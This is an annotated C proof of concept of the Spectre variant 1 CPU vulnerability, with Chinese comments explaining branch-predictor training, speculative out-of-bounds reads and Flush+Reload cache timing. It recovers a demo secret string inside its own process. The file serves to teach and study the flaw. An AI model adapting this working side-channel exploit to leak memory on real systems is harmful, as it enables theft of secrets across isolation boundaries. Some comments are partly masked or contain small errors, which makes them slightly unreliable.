漏洞: 分支预取 cpu 在读内存的这断时间里会预取 边界检查 cpu 在读内存的这断时间里不会边界检查
//
//CPU 幽灵漏洞POC代码注释
#include "stdafx.h"
#define _CRT_SECURE_NO_WARNINGS
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#ifdef _MSC_VER // 如果定义了微软编译器版本 包含了用于Flush+Reload 缓存×××的rdtscp和clflush 的适当文件
//Flush+Reload×××方法就是利用缓存加载进CPU的话速度比从内存中加载速度快
//rdtscp(用于读取时间戳计数器)通常只在较新的CPU上可用
// __MACHINEI(unsigned __int64 __rdtscp(unsigned int*))
// __MACHINEX86X_X64(void _mm_clflush(void const *))
#include <intrin.h> // for rdtscp and clflush
#pragma optimize("gz", on) // g全局优化 z大小优化 s速度优化 on 开启 分支预测为CPU优化技术的一种,要开启
#else // 没有定义微软编译器版本
#include <x86intrin.h> // for rdtscp and clflush
#endif
#define __TRYTIMES 999//这个是实验的次数,这个实验做的多一些,最后得出数据也会越精确
// 数据类型 注意 uint8_t = unsigned char; 也就是每个数组元素都是1字节,这个很重要
unsigned int array1_size = 16;
uint8_t array1[160] = { 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16 };
uint8_t array2[256 * 512]; //这个array2 无符号的话一个字节最高表示256 ,*512 ,缓存自身是64字节为单位,为了与内存映射,他回把缓存也
//以64字节划分,内存加载进缓存的话一次就加载64字节,也就是说 每次你可能只是测试这64字节中其中一个,结果他全部加载进来了,后面的时间测试就没法做了
//此处比较难理解,如果没看懂,请看后面分析
char *secret = "The Magic Words are Squeamish Ossifrage";//这个是保密信息,只有受害者知道 翻译成ASCII码也就是 84 72 69 32(空格)
//Wikipedia将其解释为从1977年开始的RSA密码挑战的解决方案。
uint8_t temp = 0;//全局变量 保证编译器不会再编译时删除victim_function() 如果没有全局变量的话,编译器可能把该函数优化
//这个是用来训练CPU分析预测,让分支预测结果一直比array1_size小,第6次超出范围,训练CPU有分支预测功能,且array1_size每次都是从内存重新加载
//速度慢,第6次时没判断,array2已经加载进来了
void victim_function(size_t x)
{
if (x<array1_size) //这个array1_size 每次都是从新从内存加载 下面有对它的flush操作 所以array1_size比x慢一些,导致后面恶意操作,x还未和array1_size比较,后面array2就加载进来了
temp &= array2[array1[x] * 512];//把array1[x]的数据读取到缓存中 array2[] 里面内容一直就是1,只是通过下标记录了array1[x]的值,
//一共6次操作,第6次是违法操作,array2[]
//解释 array2[array1[x] * 512] x = malicious_x(如果他是字母secret[0]也就是T的偏移) array1[malicious_x] = T
//array2[T* 512] 这个T是ASCII码值 ASCII(I) = 84 也就是array2[84*512]被加载进缓存,后面CPU访问他的时候速度非常快,比array2[0-83*512] 和array2[85-256*512]快的多,因为
//他们都是从内存中重新加载的
//这里非常巧妙地是用 array2的下标记录了 secret内容
}
#define CACHE_HIT_THRESHOLD (80) //时间阀值 不同CPU是不同的,80应该是作者测试得到
//三参数 value是Secrect的内容,score中是评分值该函数将测试使用Flush+Reload缓存×××访问该值所需的时间。
//命中次数存储在results表中,但是函数只返回了两个最佳猜测。
void readMemoryByte(size_t malicious_x, uint8_t value[2], int score[2])
{
static int results[256]; //这是统计命中次数的表
int tries, i, j, k, mix_i;
unsigned int junk = 0;
size_t training_x, x;
register uint64_t time1, time2; //为了时间更加精确,使用寄存器存储时间变量。
volatile uint8_t *addr; //volatile的变量是说这变量可能会被意想不到地改变,这样,编译器就不会去假设这个变量的值了。
for (i = 0; i<256; ++i)//仅仅初始化结果表。这里没有缓存×××。
results[i] = 0;//先把统计次数表都置0了,类似于百米赛跑开始时,时间清零
for (tries = __TRYTIMES; tries>0; --tries) //开始试验 每次我们只计算一个secrt数组内容
{
for (i = 0; i<256; i++)
{ //i7 CPU 是多核CPU,有三级缓存,L1和L2缓存为每个CPU私有,L3为多个核共享
_mm_clflush(&array2[i * 512]); //flush and reload 是应用的L3缓存,clfush指令可以 把缓存行从L1和L2中清理,保证下次把内存中输入加载进L3缓存
//调用readMemoryByte每次只分析 secret[]数组一个内容,下一次要把缓存清理一下
}
//CLFLUSH。CLFLUSH(Cache Line Flush,缓存行刷回)清除缓存线
//若该缓存行中的数据被修改过,则将该数据写入主存
training_x = tries % array1_size; // training_x第一次为7
for (j = 29; j >= 0; j--)
{
_mm_clflush(&array1_size); //刷新缓存线路,这个后面用它 与x比较,flush之后每次都是重新加载,x与它判断需要花费时间
for (volatile int z = 0; z<100; z++) {}//确保刷新完成 相当于暂停一下
x = ((j % 6) - 1) & ~0xFFFF;
x = (x | (x >> 16));
x = training_x ^ (x&(malicious_x ^ training_x));//前5次x计算出为7,第6次是那个偏移malicious_x
//这些行将生成5次小写的x,这将导致victim_function(x)接受分支。
//这五次是用来训练分支预测器假设分支会被取走。
//由于之前的5次训练,一个易受×××的过程将会在第6次迭代中执行if分支。
victim_function(x);//执行陷阱函数
}
//这里开始就是侧信道××× flush and reload
for (i = 0; i<256; ++i)
{
mix_i = ((i * 167) + 13) & 255; //我们并不是简单地测量一个序列中每个字节的访问时间,而是将它们混合在一起,并保证每次把(0-255)都生成一遍
//这样处理器就无法猜测下一步它将访问哪个字节,然后优化访问。
addr = &array2[mix_i * 512];// 计算缓存线路的地址来进行检查。
//我们测定访问该缓存线中一个值的时间。如果速度很快,它就是缓存命中。如果是慢的,就是一个缓存缺失。
time1 = __rdtscp(&junk);
junk = *addr; //读取内存 因为之前这个地址内内容被加载进缓存了,所以在此访问这个地址会很快
time2 = __rdtscp(&junk) - time1; //测出 时间间隔
if (time2 <= CACHE_HIT_THRESHOLD && mix_i != array1[training_x]) //后面这个条件就把array1排除了
results[mix_i]++;//cache arrary2中的 0-255 项命中则 +1 分
}
/*
获取分组中命中率最高的两个分组,分别存储在 j(最高命中),k(次高命中) 里
*/
j = k = -1;
for (i = 0; i < 256; i++) //i只是用来循环的辅助变量
{
if (j < 0 || results[i] >= results[j]) //result统计的是命中的次数,因为 j 命中最高的字符 k 次高项字符
{ //j不会小于0且j命中次数要大于i的
k = j;
j = i;
}
else if (k < 0 || results[i] >= results[k]) //k也不会小于0,最小是0
{
k = i;
}
}
/*
最高命中项命中次数大于 2 倍加 5 的次高命中项次数
或
仅仅最高命中项命中 2 次
则
退出循环,成功找到命中项
*/
if (results[j] >= (2 * results[k] + 5) || (results[j] == 2 && results[k] == 0))
break;
}
results[0] ^= junk; //使用 junk 防止优化输出
value[0] = (uint8_t)j;//存储命中最高的字符
score[0] = results[j];//存储命中最高项字符的命中次数
value[1] = (uint8_t)k;//存储命中次高的字符
score[1] = results[k];//存储命中次高项字符的命中次数
}
int main(int argc, const char **argv)
{
size_t malicious_x = (size_t)(secret - (char*)array1);
//malicious_x会被传入到victim_function中所以 array1[ malicious_x] = T
//正常情况下,如果malicious_x比array1_size值大,array1[ malicious_x]是没法读取的,但是如果做一个训练让x值前几次
//都比array1_size小,然后放入malicious_x,如此循环几次触发了分支预测,CPU预测出x比array_size小的概率很大,当 malicious_x
//再次放入的时候(这个malicious实际上是比array1_size大的),CPU就预测malicious已经超出数组array的大小,只是CPU缓存区在计算读取的数据放到了CPU的缓存中,因为
//因为一场所以并没有真正的执行写入到内存中,这就是漏洞产生的原因
int i, score[2], len = 0x28;//0x28十进制为40 也就是 "The Magic Words are Squeamish Ossifrage"字符串的长度(字符串有效长度为39)
uint8_t value[2];//上面字符串数组里面的内容
printf("array1 adress=0x%p\n", array1);
printf("secret adress=0x%p\n", secret);
for (i = 0; i<sizeof(array2); ++i) //uint8_t array2[256*1]
{
array2[i] = 1;
}
if (3 == argc)
{
sscanf(argv[1], "%u", &malicious_x);
malicious_x -= (size_t)array1;
sscanf(argv[2], "%d", &len);
}
printf("reading %04d bytes\n\n", len);
int len_copy = len;
while (--len >= 0)//我们做40次试验,每次只计算出一次secret的内容
{
printf("order:%04d", len_copy - len);
printf("\taddress:0x%p", (uint8_t*)(malicious_x + array1));
readMemoryByte(malicious_x++, value, score);
printf("\tresult:%s ", (score[0] >= 2 * score[1] ? "success" : "fail"));//经测试这里的2是可以写成1的,写成一 我们的512可以改成64.
printf("\tvalue:%02X acsii:'%c'\tscore=%d ", value[0], (value[0]>31 && value[0]<127 ? value[0] : '?'), score[0]);
if (score[1]>0) //次高项
printf("\t(second best:value:0x%02X score=%d)", value[1], score[1]);
printf("\n");
}
system("pause");
return 0;
}